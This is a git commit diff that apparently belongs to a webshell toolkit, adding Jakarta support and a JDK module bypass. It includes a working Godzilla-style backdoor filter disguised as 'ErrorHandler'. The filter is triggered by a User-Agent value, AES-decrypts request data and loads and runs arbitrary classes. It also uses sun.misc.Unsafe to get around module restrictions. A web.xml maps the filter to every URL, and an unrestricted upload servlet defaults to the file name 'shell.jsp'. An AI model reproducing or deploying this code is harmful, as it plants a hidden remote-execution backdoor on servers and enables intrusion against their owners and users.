feat: support bypassJdkModule and Jakarta

2026-09-25 00:11:52 +08:00 · 2024-11-29 02:02:04 +08:00
parent b6c881c5cb
commit 886d808f31
40 changed files with 1167 additions and 686 deletions
@@ -0,0 +1,147 @@
+import jakarta.servlet.Filter;
+import jakarta.servlet.FilterChain;
+import jakarta.servlet.ServletException;
+import jakarta.servlet.ServletRequest;
+import jakarta.servlet.ServletResponse;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+
+public class ErrorHandler extends ClassLoader implements Filter {
+    public String key = "7b74f5d44e20fd71";
+    public String pass = "passFilter";
+    public String md5 = "6DA9A394180B0155C7CC6714A0B2179E";
+    public String headerName = "User-Agent";
+    public String headerValue = "test";
+    public static boolean isBypassModule;
+
+    public ErrorHandler() {
+    }
+
+    public ErrorHandler(ClassLoader var1) {
+        super(var1);
+    }
+
+    public Class<?> Q(byte[] cb) {
+        return super.defineClass(cb, 0, cb.length);
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var41) {
+            return null;
+        }
+    }
+
+    @Override
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
+        HttpServletRequest request = (HttpServletRequest)servletRequest;
+        HttpServletResponse response = (HttpServletResponse)servletResponse;
+
+        try {
+            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+                HttpSession session = request.getSession();
+                byte[] data = base64Decode(request.getParameter(this.pass));
+                data = this.x(data, false);
+                if (session.getAttribute("payload") == null) {
+                    session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data));
+                } else {
+                    request.setAttribute("parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+
+                    Object f;
+                    try {
+                        f = ((Class)session.getAttribute("payload")).newInstance();
+                    } catch (IllegalAccessException | InstantiationException e) {
+                        throw new RuntimeException(e);
+                    }
+
+                    f.equals(arrOut);
+                    f.equals(request);
+                    response.getWriter().write(this.md5.substring(0, 16));
+                    f.toString();
+                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                    response.getWriter().write(this.md5.substring(16));
+                }
+            } else {
+                chain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception var12) {
+            chain.doFilter(servletRequest, servletResponse);
+        }
+
+    }
+
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+
+        try {
+            Class<?> base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
+            value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var61) {
+            try {
+                Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception var5) {
+            }
+        }
+
+        return value;
+    }
+
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+
+        try {
+            Class<?> base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
+            value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var61) {
+            try {
+                Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception var5) {
+            }
+        }
+
+        return value;
+    }
+
+    public static Object byPassJdkModule() {
+        Boolean var0 = false;
+
+        try {
+            Class var1 = Class.forName("sun.misc.Unsafe");
+            Field var2 = var1.getDeclaredField("theUnsafe");
+            var2.setAccessible(true);
+            Object var3 = var2.get((Object)null);
+            Method var4 = Class.class.getMethod("getModule");
+            Object var5 = var4.invoke(Object.class, (Object[])null);
+            Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class);
+            Field var7 = Class.class.getDeclaredField("module");
+            Long var8 = (Long)var6.invoke(var3, var7);
+            Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class);
+            var9.invoke(var3, ErrorHandler.class, var8, var5);
+            var0 = true;
+        } catch (Exception var10) {
+        }
+
+        return var0;
+    }
+
+    static {
+        byPassJdkModule();
+    }
+}
@@ -0,0 +1,46 @@
+import jakarta.servlet.ServletException;
+import jakarta.servlet.annotation.MultipartConfig;
+import jakarta.servlet.http.HttpServlet;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.Part;
+import org.apache.commons.io.IOUtils;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/26
+ */
+@MultipartConfig(
+        fileSizeThreshold = 1024 * 1024,
+        maxFileSize = 1024 * 1024 * 5,
+        maxRequestSize = 1024 * 1024 * 5 * 5
+)
+public class UploadServlet extends HttpServlet {
+
+    private static final String UPLOAD_DIRECTORY = "/";
+
+    @Override
+    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
+        Part file = request.getPart("file");
+        String fileName = getFileName(file);
+        String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + fileName;
+        InputStream inputStream = file.getInputStream();
+        File uploadFile = new File(uploadPath);
+        IOUtils.copy(inputStream, Files.newOutputStream(uploadFile.toPath()));
+        response.getWriter().println("file upload success: " + uploadPath);
+    }
+
+    private String getFileName(Part part) {
+        for (String content : part.getHeader("content-disposition").split(";")) {
+            if (content.trim().startsWith("filename")) {
+                return content.substring(content.indexOf("=") + 2, content.length() - 1);
+            }
+        }
+        return "shell.jsp";
+    }
+}
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<web-app
+        xmlns="https://jakarta.ee/xml/ns/jakartaee"
+        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+        xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_5_0.xsd"
+        version="5.0"
+        metadata-complete="false"
+>
+    <welcome-file-list>
+        <welcome-file>index.html</welcome-file>
+    </welcome-file-list>
+
+    <servlet>
+        <servlet-name>upload</servlet-name>
+        <servlet-class>UploadServlet</servlet-class>
+    </servlet>
+    <servlet-mapping>
+        <servlet-name>upload</servlet-name>
+        <url-pattern>/upload</url-pattern>
+    </servlet-mapping>
+    <filter>
+        <filter-name>godzilla</filter-name>
+        <filter-class>ErrorHandler</filter-class>
+    </filter>
+    <filter-mapping>
+        <filter-name>godzilla</filter-name>
+        <url-pattern>/*</url-pattern>
+    </filter-mapping>
+</web-app>
@@ -0,0 +1 @@
+<h1>hello</h1>